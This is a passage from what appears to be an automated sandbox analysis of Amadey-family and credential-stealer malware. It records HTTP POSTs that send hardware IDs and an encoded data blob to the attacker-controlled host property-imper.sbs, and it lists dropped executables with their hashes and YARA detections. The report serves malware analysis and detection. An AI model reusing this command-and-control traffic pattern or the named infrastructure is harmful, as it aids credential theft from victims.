2024-11-23 02:21:59 UTC	278	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=J719NRAKRJUEP User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1286 Host: property-imper.sbs
2024-11-23 02:21:59 UTC	1286	OUT	Data Raw: 2d 2d 4a 37 31 39 4e 52 41 4b 52 4a 55 45 50 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 36 41 38 32 42 38 38 44 45 43 38 37 37 34 32 44 44 37 43 42 42 44 36 44 46 32 38 44 33 37 33 32 0d 0a 2d 2d 4a 37 31 39 4e 52 41 4b 52 4a 55 45 50 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 4a 37 31 39 4e 52 41 4b 52 4a 55 45 50 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 0d 0a 2d 2d 4a 37 31 39 4e Data Ascii: --J719NRAKRJUEPContent-Disposition: form-data; name="hwid"6A82B88DEC87742DD7CBBD6DF28D3732--J719NRAKRJUEPContent-Disposition: form-data; name="pid"1--J719NRAKRJUEPContent-Disposition: form-data; name="lid"LOGS11--LiveTraffic--J719N
2024-11-23 02:22:00 UTC	1026	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 02:21:59 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=ojrubnksno203o82gt9upptmcb; expires=Tue, 18-Mar-2025 20:08:38 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=yaMqvG1GhlhkFo4qzNCx%2BJVWdi%2BqRrjDfXRGUDegC5ChXZxpHeW28M9q4%2FfMVktwtiWPgtKFX%2BDSN%2BxDrlJxxYVTI7JHyi%2FuoB2%2BM4TOWrm1G3mCrOesLbOi%2B%2FFSkRxT1S18RT0%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e6db05eae440ca2-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1605&sent=5&recv=8&lost=0&retrans=0&sent_bytes=2844&recv_bytes=2200&delivery_rate=1753753&cwnd=154&unsent_bytes=0&cid=2af854791ecd3ee5&ts=746&x=0"
2024-11-23 02:22:00 UTC	19	IN	Data Raw: 65 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 37 35 0d 0a Data Ascii: eok 8.46.123.75
2024-11-23 02:22:00 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
145	192.168.2.4	49917	172.67.162.84	443	7528	C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 02:21:59 UTC	276	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=EVY8IGHKXC User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 18121 Host: property-imper.sbs
2024-11-23 02:21:59 UTC	15331	OUT	Data Raw: 2d 2d 45 56 59 38 49 47 48 4b 58 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 36 41 38 32 42 38 38 44 45 43 38 37 37 34 32 44 44 37 43 42 42 44 36 44 46 32 38 44 33 37 33 32 0d 0a 2d 2d 45 56 59 38 49 47 48 4b 58 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 45 56 59 38 49 47 48 4b 58 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 0d 0a 2d 2d 45 56 59 38 49 47 48 4b 58 43 0d 0a 43 6f Data Ascii: --EVY8IGHKXCContent-Disposition: form-data; name="hwid"6A82B88DEC87742DD7CBBD6DF28D3732--EVY8IGHKXCContent-Disposition: form-data; name="pid"2--EVY8IGHKXCContent-Disposition: form-data; name="lid"LOGS11--LiveTraffic--EVY8IGHKXCCo
2024-11-23 02:21:59 UTC	2790	OUT	Data Raw: 27 0a 66 e1 9f 97 c5 15 2e a7 07 cf 5c b7 ad 66 f0 cc 99 a8 33 f7 13 05 cf ec 85 7a 3b 85 8d 54 32 2f 1f e5 1b c1 33 7b 37 a5 bf 9f 8e 3a f1 6e 9a e0 79 69 60 c1 4c a6 f2 f7 de 4b 1f 36 af 1d f9 d7 e0 58 6d 5b 0b fd 9c 0a b5 9b 60 cc b0 d7 ab 1f 3b d0 52 0a 9f fd 54 22 95 3f 7a 94 ff 75 ab 9f a1 e3 6f 93 83 99 38 43 4e 2f 95 2f 6d 6e ac ae d3 03 1e ad ac 6f 7a a3 8a 81 36 d9 bf 1f 83 71 fd 1a ed c5 4d d3 3e 9b d8 ac 97 0c bd 15 36 2b 97 37 bb ef 2e 57 0f bc 3e 57 2a 0f 97 2f ad 6d 4a a7 02 2f 2b 7f 42 10 78 3e ba 45 a8 b5 6d 75 bf 83 75 53 b3 09 3b 9c 3e 27 56 d3 d4 ab d6 33 5e 4f 4d 1f 4e cd b2 89 b4 bc b1 b1 56 29 af ef 1e fa 70 79 ed 62 65 cf 7b d9 de 73 45 81 36 af a9 da 16 51 bc 21 8f 77 45 11 8f 43 d4 61 11 d5 14 88 8d cc 54 77 94 6d 93 be 93 15 d7 Data Ascii: 'f.\f3z;T2/3{7:nyi`LK6Xm[`;RT"?zuo8CN//mnoz6qM>6+7.W>W*/mJ/+Bx>EmuuS;>'V3^OMNV)pybe{sE6Q!wECaTwm
2024-11-23 02:22:00 UTC	1018	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 02:22:00 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=pa7th9tfbru94ie743aj482etv; expires=Tue, 18-Mar-2025 20:08:39 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=F6ls48vuNXnpaXDivJB8EuJ4YdueIZUT9sS3y845uro02nEBffYhWODX9dSKVHwWK6Coh6lXUMfdEuBBfZ1bqoYSPtvF1nXwM8L1lzdz%2F%2FYdo8zwb8I8WxWYYKY4%2FYRJMVr1RT0%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e6db062fe2119c7-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1830&sent=11&recv=21&lost=0&retrans=0&sent_bytes=2846&recv_bytes=19077&delivery_rate=1577525&cwnd=146&unsent_bytes=0&cid=dc802db31ac87ffb&ts=1014&x=0"
2024-11-23 02:22:00 UTC	19	IN	Data Raw: 65 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 37 35 0d 0a Data Ascii: eok 8.46.123.75
2024-11-23 02:22:00 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
146	192.168.2.4	49914	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 02:22:00 UTC	192	OUT	GET /rules/rule700501v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 02:22:00 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 02:22:00 GMT Content-Type: text/xml Content-Length: 1405 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:58 GMT ETag: "0x8DC582BE89A8F82" x-ms-request-id: 2e331142-b01e-001e-697c-3b0214000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T022200Z-174c587ffdf8lw6dhC1TEBkgs800000002cg000000001nby x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 02:22:00 UTC	1405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 35 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 6f 77 65 72 50 6f 69 6e 74 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700501" V="1" DC="SM" EN="Office.Telemetry.Event.Office.PowerPoint.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToke

Session ID	Source IP	Source Port	Destination IP	Destination Port
147	192.168.2.4	49915	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 02:22:00 UTC	192	OUT	GET /rules/rule700500v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 02:22:00 UTC	515	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 02:22:00 GMT Content-Type: text/xml Content-Length: 1368 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:53 GMT ETag: "0x8DC582BE51CE7B3" x-ms-request-id: 15687058-401e-005b-477d-3b9c0c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T022200Z-174c587ffdfl22mzhC1TEBk40c00000002c000000000hsxa x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-23 02:22:00 UTC	1368	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 35 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 6f 77 65 72 50 6f 69 6e 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 6f 77 65 72 50 6f 69 6e 74 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700500" V="1" DC="SM" EN="Office.Telemetry.Event.Office.PowerPoint" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPowerPoint" S="Medium" /> <F T=

Session ID	Source IP	Source Port	Destination IP	Destination Port
148	192.168.2.4	49916	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 02:22:00 UTC	192	OUT	GET /rules/rule702551v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 02:22:01 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 02:22:00 GMT Content-Type: text/xml Content-Length: 1415 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:39 GMT ETag: "0x8DC582BDCE9703A" x-ms-request-id: 9616670f-801e-008c-16a7-3b7130000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T022200Z-15b8b599d882zv28hC1TEBdchn000000023g00000000g2p0 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 02:22:01 UTC	1415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 35 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 72 73 6f 6e 61 6c 69 7a 61 74 69 6f 6e 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702551" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Personalization.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenan

Session ID	Source IP	Source Port	Destination IP	Destination Port
149	192.168.2.4	49921	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 02:22:00 UTC	192	OUT	GET /rules/rule702550v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 02:22:01 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 02:22:01 GMT Content-Type: text/xml Content-Length: 1378 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:53 GMT ETag: "0x8DC582BE584C214" x-ms-request-id: 6db8bce5-501e-0078-354f-3c06cf000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T022201Z-15b8b599d88tmlzshC1TEB4xpn00000002a00000000005p7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 02:22:01 UTC	1378	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 35 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 72 73 6f 6e 61 6c 69 7a 61 74 69 6f 6e 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 65 72 73 6f 6e 61 6c 69 7a 61 74 69 6f 6e 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702550" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Personalization" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPersonalization" S="Medium" />

Target ID:	0
Start time:	21:20:00
Start date:	22/11/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0x650000
File size:	1'920'512 bytes
MD5 hash:	3DDA196E23D46002E364E5CAB7803F7A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000000.00000002.1734319751.0000000000651000.00000040.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000000.00000003.1693568536.00000000048D0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	21:20:02
Start date:	22/11/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Imagebase:	0xb40000
File size:	1'920'512 bytes
MD5 hash:	3DDA196E23D46002E364E5CAB7803F7A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000001.00000002.1759436709.0000000000B41000.00000040.00000001.01000000.00000008.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000001.00000003.1719175764.0000000005340000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	21:20:02
Start date:	22/11/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Imagebase:	0xb40000
File size:	1'920'512 bytes
MD5 hash:	3DDA196E23D46002E364E5CAB7803F7A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000002.00000003.1718718912.0000000004E50000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000002.00000002.1759412863.0000000000B41000.00000040.00000001.01000000.00000008.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	21:21:00
Start date:	22/11/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Imagebase:	0xb40000
File size:	1'920'512 bytes
MD5 hash:	3DDA196E23D46002E364E5CAB7803F7A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000006.00000003.2286916639.0000000004900000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	7
Start time:	21:21:16
Start date:	22/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1008326001\2a8b7e5b78.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1008326001\2a8b7e5b78.exe"
Imagebase:	0xcb0000
File size:	4'392'960 bytes
MD5 hash:	0B6B622DE253D8EBAB387A924F7735D2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 37%, ReversingLabs
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	21:21:25
Start date:	22/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe"
Imagebase:	0x810000
File size:	1'866'240 bytes
MD5 hash:	B70B1671BAA5D6CAAACE25D7DDCD78FE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000009.00000003.2687234574.0000000001240000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000009.00000003.2691719903.0000000001240000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000009.00000003.2687820469.0000000001240000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000009.00000003.2687023350.0000000001240000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000009.00000003.2684773955.0000000001240000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000009.00000003.2687551032.0000000001240000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000009.00000003.2692244836.0000000001240000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000009.00000003.2690149130.0000000001240000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000009.00000003.2689623976.0000000001240000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000009.00000003.2689107439.0000000001240000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000009.00000003.2684931089.0000000001240000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000009.00000003.2689461786.0000000001240000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000009.00000003.2685083573.0000000001240000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000009.00000003.2685489848.0000000001240000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000009.00000003.2688197199.0000000001240000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000009.00000003.2691008602.0000000001240000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000009.00000003.2686690326.0000000001240000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000009.00000003.2656642315.0000000001240000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000009.00000003.2689292480.0000000001240000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000009.00000003.2686127655.0000000001240000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000009.00000003.2686379519.0000000001240000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000009.00000003.2686826837.0000000001240000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000009.00000003.2684618829.0000000001240000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000009.00000003.2691890013.0000000001240000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000009.00000003.2689912258.0000000001240000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000009.00000003.2691231854.0000000001240000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000009.00000003.2685228228.0000000001240000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000009.00000003.2657928655.0000000001240000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000009.00000003.2687374958.0000000001240000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000009.00000003.2691530226.0000000001240000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000009.00000003.2687687305.0000000001240000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000009.00000003.2685966414.0000000001240000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000009.00000003.2629461937.0000000001240000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000009.00000003.2684409963.0000000001240000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000009.00000003.2692800231.0000000001242000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000009.00000003.2688669064.0000000001240000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 